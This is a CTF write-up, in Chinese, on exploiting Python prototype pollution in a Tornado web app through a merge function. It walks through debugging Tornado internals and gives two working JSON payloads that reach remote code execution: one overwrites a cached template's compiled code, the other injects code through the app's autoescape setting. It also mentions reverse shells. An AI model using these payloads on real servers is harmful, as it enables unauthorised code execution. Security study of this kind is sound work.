来自数信杯的一道题目,涨知识了。
引入
由于本人并没有打数信杯,所以只能够简单复现一下环境了,网上搜到的源码基本上都是这样的(我在此基础上做了一点修改):
1 | import json |
python原型链污染
可以看到我们的一个老朋友merge
,除开这个waf以外,就是我们的原型链污染。简单介绍一下就是能够通过原型链污染掉类里面没有的属性,在调用一个类或者实例的属性的时候,如果没有找到,就会对应的父类中去找。这就是原型链的原理,如果我们改掉他的父类的值,我们就能够改掉这个类或者实例的值了,而merge
这个函数就能够做到
挖掘
在此思路上,我们怎么去做这个题呢?
受到CISCN Sanic
这题的启发下,想到的第一个可能性就是看看能不能够污染static
,使其可以修改成我们的任意静态目录,如果能够修改到根目录下,就能够暴露出/flag
并且直接访问
1 | settings = {"static_path" : os.path.join(os.getcwd(), 'venv', 'static')} |
注意我们不能够污染static_path
,因为它只用于初始化。也就是说它只在程序被访问的时候使用过一次,后续都是程序内部的一个属性里加载static_path
的值了
意思是就是static_path
赋值给了tornado
内的某一个属性,我们只需要污染这个属性就可以修改static_path
查看tornado官方文档的静态文件处可以得知静态文件采用StaticFileHandler
来处理
在tornado.ioloop.IOLoop.current().start()
处下断点调试,试图寻找到static_path
被赋值到了哪里,最终发现在wildcard_router.rules
里有它的身影:
利用evaluate expression
来看怎么调用污染:
1 | app.wildcard_router.rules[0].target_kwargs |
为了利于我们测试,我们往get
路由修改为:
1 | def get(self): |
调试:
1 | cmd=app.wildcard_router.rules[0].target_kwargs |
可以得到回显:
确实能够得到我们的static_path
但是我们能够直接修改吗?试试payload:
1 | { |
答案是不行,此时渲染之后访问会发现直接报错:
省流就是:
1 | AttributeError: 'dict' object has no attribute 'matcher' |
对的,有个matcher这个东西在搞鬼
我们重新debug一下:
会发现rules
这个数组的每一个元素里都有四个部分:
1 | matcher name target target_kwargs |
更加烦人的是这个matcher是一个对象,我们不能够直接用json来覆盖:
1 | <tornado.routing.PathMatches object at 0x000001CC82900290> |
也就是说我们试图修改static
失败了
rce1
参考tornado
模板注入,我们可以发现一个问题:
对于 Tornado 来说,一旦
self.render
之后,就会实例化一个tornado.template.Loader
,这个时候再去修改文件内容,它也不会再实例化一次。所以这里需要把tornado.web.RequestHandler._template_loaders
清空。否则在利用的时候,会一直用的第一个传入的 payload。
也就是说我们可以控制_template_loaders
的值改为我们的ssti
语句从而成功rce。由于它在RequestHandler._template_loaders
,我们尝试从p = Pollute()
找到它的位置:
1 | p.__init__.__globals__ |
能够找到IndexHandler
找不到requestHandler
进IndexHandler
看看:
里面确实有:
1 | p.__init__.__globals__['IndexHandler'].__init__.__globals__['RequestHandler'] |
再进去找到_template_loaders
1 | p.__init__.__globals__['IndexHandler'].__init__.__globals__['RequestHandler']._template_loaders |
它的输出是这样的
1 | {'D:\\pycharm\\tornado_prototype': <tornado.template.Loader object at 0x000001D3467F6410>} |
比较奇怪,我们再进去看看:
利用__dict__
查看:
1 | {'autoescape': 'xhtml_escape', 'namespace': {}, 'whitespace': None, 'templates': {'venv\\static\\index.html': <tornado.template.Template object at 0x000001D3493FDF90>}, 'lock': <unlocked _thread.RLock object owner=0 count=0 at 0x000001D3493FDF00>, 'root': 'D:\\pycharm\\tornado_prototype'} |
看到我们的index.html
了,再跟进:
1 | p.__init__.__globals__['IndexHandler'].__init__.__globals__['RequestHandler']._template_loaders['D:\\pycharm\\tornado_prototype'].templates['venv\\static\\index.html'].__dict__ |
1 | {'name': 'venv\\static\\index.html', 'autoescape': 'xhtml_escape', 'namespace': {}, 'file': <tornado.template._File object at 0x000001D3493FE2D0>, 'code': 'def _tt_execute(): # venv\\static\\index.html:0\n _tt_buffer = [] # venv\\static\\index.html:0\n _tt_append = _tt_buffer.append # venv\\static\\index.html:0\n _tt_append(b\'<!DOCTYPE html>\\n<html lang="en">\\n<head>\\n<meta charset="UTF-8">\\n<title>Test</title>\\n</head>\\n<body>\\n\') # venv\\static\\index.html:8\n _tt_tmp = 1 # venv\\static\\index.html:8\n if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp) # venv\\static\\index.html:8\n else: _tt_tmp = _tt_utf8(str(_tt_tmp)) # venv\\static\\index.html:8\n _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp)) # venv\\static\\index.html:8\n _tt_append(_tt_tmp) # venv\\static\\index.htRml:8\n _tt_append(b\'\\n</body>\\n</html>\\n\') # venv\\static\\index.html:11\n return _tt_utf8(\'\').join(_tt_buffer) # venv\\static\\index.html:0\n', 'loader': <tornado.template.Loader object at 0x000001D3467F6410>, 'compiled': <code object <module> at 0x000001D34904CC60, file "venv\static\index_html.generated.py", line 1>} |
发现里面有个code
:
1 | def _tt_execute(): # venv\static\index.html:0 |
问问ai:
这段代码是一个Python函数,名为
_tt_execute
,它的作用是生成一个简单的HTML页面。下面是代码的逐行解释:
_tt_execute()
: 定义了一个函数_tt_execute
,没有参数。_tt_buffer = []
: 初始化一个空列表_tt_buffer
,用于存储HTML页面的各个部分。_tt_append = _tt_buffer.append
: 将列表的append
方法赋值给_tt_append
变量,用于后续添加HTML代码。_tt_append(b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="UTF-8">\n<title>Test</title>\n</head>\n<body>\n')
: 向_tt_buffer
中添加HTML页面的头部和<body>
标签的开始部分。_tt_tmp = 1
: 初始化一个变量_tt_tmp
并赋值为整数1
。if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp)
: 检查_tt_tmp
是否是字符串类型,如果是,则将其转换为UTF-8编码的字符串。else: _tt_tmp = _tt_utf8(str(_tt_tmp))
: 如果_tt_tmp
不是字符串类型,则先将其转换为字符串,然后再转换为UTF-8编码的字符串。_tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp))
: 对_tt_tmp
进行XHTML转义,以确保HTML代码的安全。_tt_append(_tt_tmp)
: 将转义后的_tt_tmp
添加到_tt_buffer
中。_tt_append(b'\n</body>\n</html>\n')
: 向_tt_buffer
中添加HTML页面的结束部分,包括</body>
和</html>
标签。return _tt_utf8('').join(_tt_buffer)
: 将_tt_buffer
中的所有部分连接起来,并返回一个UTF-8编码的字符串,这个字符串就是完整的HTML页面。注意:代码中提到的
_tt_string_types
、_tt_utf8
和xhtml_escape
函数没有在代码片段中定义,它们可能是在其他地方定义的辅助函数,用于处理字符串类型、编码和转义。_tt_utf8
函数可能是用来将字符串转换为UTF-8编码的函数,而xhtml_escape
函数则用于转义HTML特殊字符。
简单地说就是这玩意就是用来渲染我们的html的,而且你看tt_tmp
不就是我们的{{1}}
吗,那修改了code
是否就能够成功了呢?
实际上是不行的,而且这搞得json过于冗长,而且将其code随意更改后也没有爆出任何的异常:
只能另寻他路,注意到我们还有一个compiled
,这里既然是关于模板渲染的问题,那去它的源码看看(template.py
)
搜索关键字以后可以搜到generate()
函数内有该code的生成逻辑:
1 | class _Expression(_Node): |
而且仔细观察可以发现code
其实是由很多个generate()
函数生成的,这是最后一部分:
1 | def generate(self, writer: "_CodeWriter") -> None: |
它的调用始于:
这里的generate
就是指向上面最后的一部分,可以得到return buffer.getvalue()
应该就是得到code
往上一级查看_generate_python
在哪被调用了:
可以看到它将这段代码编译好了,compiled
就是用在这里的,把编译好的对象放入compiled
,然后下面的Generate
函数是专门根据compiled
生成模板的
关注exec_in
1 | def exec_in( |
如果code是str类型的话也会编译运行,所以我们可以直接改compiled
为str
进行模板注入:
1 | json={"__init__":{"__globals__":{"IndexHandler":{"__init__":{"__globals__":{"RequestHandler":{"_template_loaders":{"D:\\pycharm\\tornado_prototype":{"templates":{"venv\\static\\index.html":{"compiled":"import subprocess\nsubprocess.run(['whoami','>','./1.txt'],shell=True,stdout=subprocess.PIPE).stdout\n"}}}}}}}}}}} |
目前只能够实现这样的rce,而且static目录必须是可以写的
而且有一个最大的限制:你要知道项目的名字是什么,就像这里D:\pycharm\tornado_prototype,如果你不知道这个就不能这么样去用,这个方法局限比较大,因此我们还得找一条其他的路
rce2
重新探索该模板还有什么地方能够让我们更加方便地rce,重点看我们的模板,此时会发现有一个地方写入了一个新的东西:
1 | writer.current_template.autoescape |
控制autoescape的地方在这里:
关键是loader
如果我们能够控制loader的话就能够控制autoescape
按ctrl+left
跟随autoescape
:
1 | loader: Optional["BaseLoader"] = None, |
ctrl+alt+f7
查看BaseLoader
查看在哪被定义的:
锁定web.py
1 | def create_template_loader(self, template_path: str) -> template.BaseLoader: |
可以看到
1 | if "autoescape" in settings: |
也就是说我们只需要控制settings
就可以控制autoescape
了
debug一下看看settings
在哪就可以了,其实就在app里
最后我们只需要拿到app就可以了,简单测测就知道通过p.__init__.__globals__['app']
就能拿到
那exp就很简单了,注意一下要闭合:
1 | writer.write_line( |
这里还有一个需要注意的小点就是上面这个地方,如果直接写就是会报缩进错误,所以此时要空4个格就可以了。
1 | json={"__class__":{"__init__":{"__globals__":{"app":{"settings":{"autoescape":"'1')\n__import__('os').popen('whoami').read()#"}}}}}} |
同样地没有回显,所以只能够打反弹shell之类的了
Reference
https://cn-sec.com/archives/3262945.html
https://xz.aliyun.com/t/12260?time__1311=GqGxRDcGit0%3DD%3DD%2FYriQ%3Du%2BnDun8YNKaF4D#toc-9